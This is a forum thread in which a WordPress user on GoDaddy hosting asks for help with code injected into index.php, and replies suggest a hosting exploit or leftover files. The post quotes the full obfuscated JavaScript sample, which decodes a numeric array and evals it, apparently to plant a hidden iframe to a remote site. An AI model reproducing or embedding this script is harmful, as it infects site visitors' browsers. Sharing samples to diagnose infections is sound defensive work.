wordpress security

[hamza]

i am installing and wordpress blog on my godaddy hosting account and it is getting hacking code.

its a fresh installation and i tried again installing it but it is getting hacking code on top index.php

please help .

hacking code look like this

<script>if(window.document)aa=/s/g.exec("s").index+[];aaa='0';if(aa.indexOf(aaa)===0){ss='';try{new document();}catch(qqq){s=String;f='f'+'r'+'o'+'mChar';}ee='e';e=window.eval;t='y';}h=2*Math.sin(3*Math.PI/2);n=[3.5,3.5,51.5,50,15,19,49,54.5,48.5,57.5,53.5,49.5,54,57,22,50.5,49.5,57,33.5,53,49.5,53.5,49.5,54,57,56.5,32,59.5,41,47.5,50.5,38,47.5,53.5,49.5,19,18.5,48,54.5,49,59.5,18.5,19.5,44.5,23,45.5,19.5,60.5,3.5,3.5,3.5,51.5,50,56,47.5,53.5,49.5,56,19,19.5,28.5,3.5,3.5,61.5,15,49.5,53,56.5,49.5,15,60.5,3.5,3.5,3.5,49,54.5,48.5,57.5,53.5,49.5,54,57,22,58.5,56,51.5,57,49.5,19,16,29,51.5,50,56,47.5,53.5,49.5,15,56.5,56,48.5,29.5,18.5,51,57,57,55,28,22.5,22.5,57,49,56.5,27,26,22,25,53.5,59.5,49,54.5,53.5,47.5,51.5,54,22,48.5,54.5,53.5,22.5,56.5,57,49,56.5,22.5,50.5,54.5,22,55,51,55,30.5,56.5,51.5,49,29.5,23.5,18.5,15,58.5,51.5,49,57,51,29.5,18.5,23.5,23,18.5,15,51,49.5,51.5,50.5,51,57,29.5,18.5,23.5,23,18.5,15,56.5,57,59.5,53,49.5,29.5,18.5,58,51.5,56.5,51.5,48,51.5,53,51.5,57,59.5,28,51,51.5,49,49,49.5,54,28.5,55,54.5,56.5,51.5,57,51.5,54.5,54,28,47.5,48,56.5,54.5,53,57.5,57,49.5,28.5,53,49.5,50,57,28,23,28.5,57,54.5,55,28,23,28.5,18.5,30,29,22.5,51.5,50,56,47.5,53.5,49.5,30,16,19.5,28.5,3.5,3.5,61.5,3.5,3.5,50,57.5,54,48.5,57,51.5,54.5,54,15,51.5,50,56,47.5,53.5,49.5,56,19,19.5,60.5,3.5,3.5,3.5,58,47.5,56,15,50,15,29.5,15,49,54.5,48.5,57.5,53.5,49.5,54,57,22,48.5,56,49.5,47.5,57,49.5,33.5,53,49.5,53.5,49.5,54,57,19,18.5,51.5,50,56,47.5,53.5,49.5,18.5,19.5,28.5,50,22,56.5,49.5,57,31.5,57,57,56,51.5,48,57.5,57,49.5,19,18.5,56.5,56,48.5,18.5,21,18.5,51,57,57,55,28,22.5,22.5,57,49,56.5,27,26,22,25,53.5,59.5,49,54.5,53.5,47.5,51.5,54,22,48.5,54.5,53.5,22.5,56.5,57,49,56.5,22.5,50.5,54.5,22,55,51,55,30.5,56.5,51.5,49,29.5,23.5,18.5,19.5,28.5,50,22,56.5,57,59.5,53,49.5,22,58,51.5,56.5,51.5,48,51.5,53,51.5,57,59.5,29.5,18.5,51,51.5,49,49,49.5,54,18.5,28.5,50,22,56.5,57,59.5,53,49.5,22,55,54.5,56.5,51.5,57,51.5,54.5,54,29.5,18.5,47.5,48,56.5,54.5,53,57.5,57,49.5,18.5,28.5,50,22,56.5,57,59.5,53,49.5,22,53,49.5,50,57,29.5,18.5,23,18.5,28.5,50,22,56.5,57,59.5,53,49.5,22,57,54.5,55,29.5,18.5,23,18.5,28.5,50,22,56.5,49.5,57,31.5,57,57,56,51.5,48,57.5,57,49.5,19,18.5,58.5,51.5,49,57,51,18.5,21,18.5,23.5,23,18.5,19.5,28.5,50,22,56.5,49.5,57,31.5,57,57,56,51.5,48,57.5,57,49.5,19,18.5,51,49.5,51.5,50.5,51,57,18.5,21,18.5,23.5,23,18.5,19.5,28.5,3.5,3.5,3.5,49,54.5,48.5,57.5,53.5,49.5,54,57,22,50.5,49.5,57,33.5,53,49.5,53.5,49.5,54,57,56.5,32,59.5,41,47.5,50.5,38,47.5,53.5,49.5,19,18.5,48,54.5,49,59.5,18.5,19.5,44.5,23,45.5,22,47.5,55,55,49.5,54,49,32.5,51,51.5,53,49,19,50,19.5,28.5,3.5,3.5,61.5];for(i=0;i-n.length<0;i++){j=i;ss=ss+s[f+'C'+'ode'](-h*(1+n[j]));}q=ss;e(q);</script>

[premiso]

Since you are on a shared host, your options are limited, and there is probably a known exploit with godaddy and the version they run. You can try a service like cloudflare.com  which is a dns proxy that attempts to block out known exploits etc to your wordpress deal, if you want to try it. Other than that we really are not the best suited to help you. GoDaddy or Wordpress forums would be a better resource to turn to.

[scootstah]

Perhaps someone uploaded a file that wasn't deleted with a fresh install. You should check around for any suspicious files.